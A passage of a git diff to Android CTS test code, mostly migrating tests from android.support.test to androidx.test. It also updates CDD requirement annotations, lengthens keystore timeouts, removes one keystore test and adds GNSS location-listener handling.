diff --git a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
index 74e6857..41c0735 100644
--- a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
@@ -19,10 +19,10 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import android.graphics.PixelFormat;
 import android.hardware.HardwareBuffer;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index 82756d1..9e1366a 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -20,7 +20,6 @@
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_NORMAL;
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_SMALL;
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_XLARGE;
-
 import static android.util.DisplayMetrics.DENSITY_400;
 import static android.util.DisplayMetrics.DENSITY_560;
 import static android.util.DisplayMetrics.DENSITY_HIGH;
@@ -29,8 +28,8 @@
 import static android.util.DisplayMetrics.DENSITY_TV;
 import static android.util.DisplayMetrics.DENSITY_XHIGH;
 
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.app.ActivityManager;
 import android.content.Context;
@@ -38,17 +37,18 @@
 import android.content.res.Configuration;
 import android.os.Build;
 import android.os.StatFs;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
 import android.util.DisplayMetrics;
-import android.view.WindowManager;
 import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CddTest;
 
-import org.junit.runner.RunWith;
 import org.junit.Before;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.File;
 
@@ -147,7 +147,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.2")
+    @CddTest(requirement="7.6.2/H-0-1")
     public void testMinSharedDataPartitionSize() {
         assertDataPartitionMinimumSize(
                 "Shared data",
@@ -156,7 +156,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.1/H-9-2,7.6.1/H-10-1")
+    @CddTest(requirement="7.6.1/H-9-2,T-0-1,A-0-1,7.6.1/H-10-1")
     public void testMinDataPartitionSize() {
         long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
         boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
index e44bcb4..416ee4d 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
@@ -15,15 +15,15 @@
  */
 
 package android.hardware.input.cts.tests;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import android.hardware.cts.R;
 import android.view.KeyEvent;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.hardware.cts.R;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class GamepadTestCase extends InputTestCase {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 9089529..3192de6 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -25,20 +25,11 @@
 import android.hardware.input.cts.InputCtsActivity;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 
 import libcore.io.IoUtils;
 
@@ -46,6 +37,15 @@
 import org.junit.Before;
 import org.junit.Rule;
 
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
 public class InputTestCase {
     // hid executable expects "-" argument to read from stdin instead of a file
     private static final String HID_COMMAND = "hid -";
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 47b467e..204d97f 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -30,7 +30,7 @@
 # The aim of this package is to run tests against the implementation in use by
 # the current android system.
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	cts-core-test-runner \
+	cts-core-test-runner-axt \
 	android-icu4j-tests
 
 # Tag this module as a cts test artifact
diff --git a/tests/tests/icu/AndroidManifest.xml b/tests/tests/icu/AndroidManifest.xml
index 1dc0a70..418c215 100644
--- a/tests/tests/icu/AndroidManifest.xml
+++ b/tests/tests/icu/AndroidManifest.xml
@@ -22,7 +22,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.icu.cts"
                      android:label="CTS Repackaged ICU4J library tests."/>
 </manifest>
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index f0ebe63..916f55e 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -30,7 +30,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JNI_SHARED_LIBRARIES := \
   libjni_test_dlclose \
diff --git a/tests/tests/jni/AndroidManifest.xml b/tests/tests/jni/AndroidManifest.xml
index 2724573..a3f71fa 100644
--- a/tests/tests/jni/AndroidManifest.xml
+++ b/tests/tests/jni/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.jni.cts"
                      android:label="CTS tests of calling native code via JNI">
         <meta-data android:name="listener"
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index cf6da3c..2492b48 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -16,6 +16,14 @@
 
 package android.jni.cts;
 
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+
+import androidx.test.InstrumentationRegistry;
+
+import dalvik.system.PathClassLoader;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileReader;
@@ -29,20 +37,12 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.support.test.InstrumentationRegistry;
-import dalvik.system.PathClassLoader;
-
 class LinkerNamespacesHelper {
     private final static String PUBLIC_CONFIG_DIR = "/system/etc/";
     private final static String PRODUCT_CONFIG_DIR = "/product/etc/";
     private final static String SYSTEM_CONFIG_FILE = PUBLIC_CONFIG_DIR + "public.libraries.txt";
     private final static Pattern EXTENSION_CONFIG_FILE_PATTERN = Pattern.compile(
             "public\\.libraries-([A-Za-z0-9\\-_.]+)\\.txt");
-    private final static Pattern EXTENSION_LIBRARY_FILE_PATTERN = Pattern.compile(
-            "lib[^.]+\\.([A-Za-z0-9\\-_.]+)\\.so");
     private final static String VENDOR_CONFIG_FILE = "/vendor/etc/public.libraries.txt";
     private final static String[] PUBLIC_SYSTEM_LIBRARIES = {
         "libaaudio.so",
@@ -126,8 +126,12 @@
                 // libFoo.acme.so
                 List<String> libNames = readPublicLibrariesFile(configFile);
                 for (String lib : libNames) {
-                    Matcher libMatcher = EXTENSION_LIBRARY_FILE_PATTERN.matcher(lib);
-                    if (libMatcher.matches() && libMatcher.group(1).equals(companyName)) {
+                    int space = lib.lastIndexOf(' ');
+                    if (space != -1) {
+                      // Drop 64 or 32 from 'libFoo.so 64'
+                      lib = lib.substring(0, space);
+                    }
+                    if (lib.endsWith("." + companyName + ".so")) {
                         libs.add(lib);
                     } else {
                         return "Library \"" + lib + "\" in " + configFile.toString()
diff --git a/tests/tests/jni_vendor/Android.mk b/tests/tests/jni_vendor/Android.mk
index ba06b42..6b9bfb3 100644
--- a/tests/tests/jni_vendor/Android.mk
+++ b/tests/tests/jni_vendor/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the vendor partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_VENDOR_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ctstestrunner-axt
 
 LOCAL_JNI_SHARED_LIBRARIES := libvendorjnitest
 
diff --git a/tests/tests/jni_vendor/AndroidManifest.xml b/tests/tests/jni_vendor/AndroidManifest.xml
index 363a151..96a1c9e 100644
--- a/tests/tests/jni_vendor/AndroidManifest.xml
+++ b/tests/tests/jni_vendor/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.jni.vendor.cts"
                      android:label="CTS tests of calling native code via Vendor's JNI">
         <meta-data android:name="listener"
diff --git a/tests/tests/jvmti/attaching/Android.mk b/tests/tests/jvmti/attaching/Android.mk
index 56169d4..fb2a765 100644
--- a/tests/tests/jvmti/attaching/Android.mk
+++ b/tests/tests/jvmti/attaching/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_MULTILIB := both
 LOCAL_JNI_SHARED_LIBRARIES := libjvmtiattachingtestagent1 \
diff --git a/tests/tests/jvmti/attaching/AndroidManifest.xml b/tests/tests/jvmti/attaching/AndroidManifest.xml
index 16acb14..9e61bcd 100644
--- a/tests/tests/jvmti/attaching/AndroidManifest.xml
+++ b/tests/tests/jvmti/attaching/AndroidManifest.xml
@@ -22,7 +22,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.jmvti.attaching.cts"
                      android:label="CTS tests for attaching jvmti agents from inside the app">
         <meta-data android:name="listener"
diff --git a/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
index 994681f..1d8c2de 100644
--- a/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
+++ b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
@@ -19,17 +19,16 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.Debug;
-import android.support.test.runner.AndroidJUnit4;
 
 import dalvik.system.BaseDexClassLoader;
 
 import org.junit.AfterClass;
 import org.junit.FixMethodOrder;
 import org.junit.Test;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameters;
 import org.junit.runner.RunWith;
 import org.junit.runners.MethodSorters;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
 
 import java.io.File;
 import java.io.FileInputStream;
@@ -37,12 +36,11 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.util.concurrent.Callable;
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
+import java.util.concurrent.Callable;
 
 @RunWith(Parameterized.class)
 @FixMethodOrder(MethodSorters.NAME_ASCENDING)
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index a7d84d6..c4e796c 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_JAVA_LIBRARIES := bouncycastle
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-        android-support-test \
+        androidx.test.rules \
         core-tests-support \
-        compatibility-device-util \
-        ctstestrunner \
+        compatibility-device-util-axt \
+        ctstestrunner-axt hamcrest-library \
         guava \
         junit \
         cts-security-test-support-library \
diff --git a/tests/tests/keystore/AndroidManifest.xml b/tests/tests/keystore/AndroidManifest.xml
index 1816f2e..34f7985 100644
--- a/tests/tests/keystore/AndroidManifest.xml
+++ b/tests/tests/keystore/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.keystore.cts"
                      android:label="CTS tests of android.keystore.cts">
         <meta-data android:name="listener"
diff --git a/tests/tests/keystore/AndroidTest.xml b/tests/tests/keystore/AndroidTest.xml
index e2b4986..40beae6 100644
--- a/tests/tests/keystore/AndroidTest.xml
+++ b/tests/tests/keystore/AndroidTest.xml
@@ -23,7 +23,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.keystore.cts" />
         <option name="runtime-hint" value="16m39s" />
-        <!-- test-timeout unit is ms, value = 10 min -->
-        <option name="test-timeout" value="600000" />
+        <!-- test-timeout unit is ms, value = 50 min -->
+        <option name="test-timeout" value="3000000" />
     </test>
 </configuration>
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 7db0f61..79f87e0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -1345,46 +1345,6 @@
         assertPrivateKeyEntryEquals(actual, "RSA", FAKE_RSA_KEY_1, FAKE_RSA_USER_1, FAKE_RSA_CA_1);
     }
 
-    public void testKeyStore_SetEntry_PrivateKeyEntry_Params_Unencrypted_Failure() throws Exception {
-        // The Android Keystore requires encrypted storage which is only decryptable with a key
-        // bound to a credential provided by the user. By default, the Keystore waits for the user
-        // to set a lock screen PIN or password and uses this credential to set up an encrypted
-        // storage space itself. In that implementation, the Keystore should not be initialized when
-        // no lock screen PIN or password has been set. This is what the test verifies.
-        //
-        // If your environment already provides encrypted storage which is only decryptable with a
-        // key bound to another credential provided by the user, you may initialize the Keystore
-        // immediately and get a waiver for this test.
-        KeyguardManager keyguardManager =
-                (KeyguardManager) getContext().getSystemService(Context.KEYGUARD_SERVICE);
-        assertNotNull(keyguardManager);
-        assertFalse("Secure lock screen must not be configured", keyguardManager.isDeviceSecure());
-
-        mKeyStore.load(null, null);
-
-        KeyFactory keyFact = KeyFactory.getInstance("RSA");
-        PrivateKey expectedKey = keyFact.generatePrivate(new PKCS8EncodedKeySpec(FAKE_RSA_KEY_1));
-
-        final CertificateFactory f = CertificateFactory.getInstance("X.509");
-
-        final Certificate[] expectedChain = new Certificate[2];
-        expectedChain[0] = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_USER_1));
-        expectedChain[1] = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_CA_1));
-
-        PrivateKeyEntry entry = new PrivateKeyEntry(expectedKey, expectedChain);
-
-        try {
-            mKeyStore.setEntry(TEST_ALIAS_1, entry,
-                    new KeyStoreParameter.Builder(getContext())
-                    .setEncryptionRequired(true)
-                    .build());
-            fail("Shouldn't be able to insert encrypted entry when KeyStore uninitialized");
-        } catch (KeyStoreException expected) {
-        }
-
-        assertNull(mKeyStore.getEntry(TEST_ALIAS_1, null));
-    }
-
     public void testKeyStore_SetEntry_PrivateKeyEntry_Overwrites_PrivateKeyEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
@@ -2038,8 +1998,8 @@
 
     private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
     private static final long MINUTE_IN_MILLIS = 1000 * 60;
-    private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS = 2 * MINUTE_IN_MILLIS;
-    private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS = 3 * MINUTE_IN_MILLIS;
+    private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS = 4 * MINUTE_IN_MILLIS;
+    private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS = 6 * MINUTE_IN_MILLIS;
 
     private static boolean isDeadlineReached(long startTimeMillis, long durationMillis) {
         long nowMillis = System.currentTimeMillis();
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e75a60f..3f9f758 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -279,7 +279,10 @@
 
         public void performDeviceLock() {
             mLockCredential.sleepDevice();
-            SystemClock.sleep(200);
+            KeyguardManager keyguardManager = (KeyguardManager)getContext().getSystemService(Context.KEYGUARD_SERVICE);
+            for (int i = 0; i < 25 && !keyguardManager.isDeviceLocked(); i++) {
+                SystemClock.sleep(200);
+            }
         }
 
         public void performDeviceUnlock() throws Exception {
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
index 0ff8e40..b9507c6 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
@@ -26,7 +26,8 @@
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.android.server.am.nano.ActivityDisplayProto;
 import com.android.server.am.nano.ActivityManagerServiceDumpActivitiesProto;
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
index b960d2f..52c07fa 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
@@ -38,7 +38,8 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
 
diff --git a/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java b/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java
index 0bf39f1..aab6ab8 100644
--- a/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java
+++ b/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java
@@ -17,23 +17,24 @@
 package android.server.am;
 
 import static android.server.am.StateLogger.logE;
-import static android.support.test.InstrumentationRegistry.getContext;
 import static android.view.KeyEvent.KEYCODE_APP_SWITCH;
 import static android.view.KeyEvent.KEYCODE_MENU;
 import static android.view.KeyEvent.KEYCODE_SLEEP;
 import static android.view.KeyEvent.KEYCODE_WAKEUP;
-import static android.view.KeyEvent.KEYCODE_WINDOW;
+
+import static androidx.test.InstrumentationRegistry.getContext;
 
 import android.app.KeyguardManager;
 import android.graphics.Point;
 import android.os.PowerManager;
 import android.os.RemoteException;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 import android.view.KeyEvent;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.function.BooleanSupplier;
 
 /**
diff --git a/tests/tests/keystore/src/android/server/am/WindowManagerState.java b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
index ae6e547..3cd1f57 100644
--- a/tests/tests/keystore/src/android/server/am/WindowManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
@@ -16,7 +16,6 @@
 
 package android.server.am;
 
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.am.ProtoExtractors.extract;
@@ -24,19 +23,17 @@
 import static android.server.am.StateLogger.logE;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.fail;
-
 import android.content.res.Configuration;
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.view.nano.DisplayInfoProto;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.server.wm.nano.AppTransitionProto;
 import com.android.server.wm.nano.AppWindowTokenProto;
 import com.android.server.wm.nano.ConfigurationContainerProto;
-import com.android.server.wm.nano.DisplayFramesProto;
 import com.android.server.wm.nano.DisplayProto;
 import com.android.server.wm.nano.IdentifierProto;
 import com.android.server.wm.nano.PinnedStackControllerProto;
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
index c56a3b7..9af3751 100644
--- a/tests/tests/libcorefileio/Android.mk
+++ b/tests/tests/libcorefileio/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/libcorefileio/AndroidManifest.xml b/tests/tests/libcorefileio/AndroidManifest.xml
index 411aa9d..1271089 100644
--- a/tests/tests/libcorefileio/AndroidManifest.xml
+++ b/tests/tests/libcorefileio/AndroidManifest.xml
@@ -36,7 +36,7 @@
         </receiver>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcorefileio.cts">
         <meta-data android:name="listener"
                    android:value="com.android.cts.runner.CtsTestRunListener"/>
diff --git a/tests/tests/libcorelegacy22/Android.mk b/tests/tests/libcorelegacy22/Android.mk
index d2468c3..0295b89 100644
--- a/tests/tests/libcorelegacy22/Android.mk
+++ b/tests/tests/libcorelegacy22/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/libcorelegacy22/AndroidManifest.xml b/tests/tests/libcorelegacy22/AndroidManifest.xml
index 131613e..98478e4 100644
--- a/tests/tests/libcorelegacy22/AndroidManifest.xml
+++ b/tests/tests/libcorelegacy22/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcorelegacy22.cts"
                      android:label="CTS tests of android APIs last available in API 22">
         <meta-data android:name="listener"
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 8297a75..6d88a4d 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util ctstestrunner apache-commons-math platform-test-annotations
+    compatibility-device-util-axt ctstestrunner-axt apache-commons-math platform-test-annotations
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src/android/location/cts) \
    $(call all-proto-files-under, protos)
@@ -52,7 +52,7 @@
 
 LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner  apache-commons-math
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt  apache-commons-math
 
 LOCAL_PROTOC_OPTIMIZE_TYPE := nano
 
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
index 1b85f8f..551de06 100644
--- a/tests/tests/location/AndroidManifest.xml
+++ b/tests/tests/location/AndroidManifest.xml
@@ -38,7 +38,7 @@
     <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
     <uses-permission android:name="android.permission.RECEIVE_SMS" />
     <uses-permission android:name="android.permission.SEND_SMS" />
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.location.cts"
                      android:label="CTS tests of android.location">
         <meta-data android:name="listener"
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
index 216989f..8e2c3f8 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
@@ -20,6 +20,8 @@
 import android.location.GnssMeasurementsEvent;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -76,6 +78,7 @@
      * It only performs sanity checks for the measurements received.
      * This tests uses actual data retrieved from GPS HAL.
      */
+    @CddTest(requirement="7.3.3/C-3-2,C-3-3")
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
         // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
index af5e943..99c4067 100644
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
@@ -42,6 +42,7 @@
     private static final String TAG = "GpsNavMsgTest";
     private static final int EVENTS_COUNT = 5;
     private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+    private TestLocationListener mLocationListener;
 
     @Override
     protected void setUp() throws Exception {
@@ -51,6 +52,10 @@
 
     @Override
     protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
         // Unregister GnssNavigationMessageListener
         if (mTestGnssNavigationMessageListener != null) {
             mTestLocationManager
@@ -73,6 +78,9 @@
             return;
         }
 
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
         // Register Gps Navigation Message Listener.
         mTestGnssNavigationMessageListener =
                 new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index 1f7ffa4..07aa083 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -3,6 +3,8 @@
 import android.location.GnssStatus;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class GnssStatusTest extends GnssTestCase  {
 
     private static final String TAG = "GnssStatusTest";
@@ -56,6 +58,7 @@
   /**
    * Tests values of {@link GnssStatus}.
    */
+  @CddTest(requirement="7.3.3/C-1-4")
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not,
     // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssTestCase.java b/tests/tests/location/src/android/location/cts/GnssTestCase.java
index e1c5e88..a128c95 100644
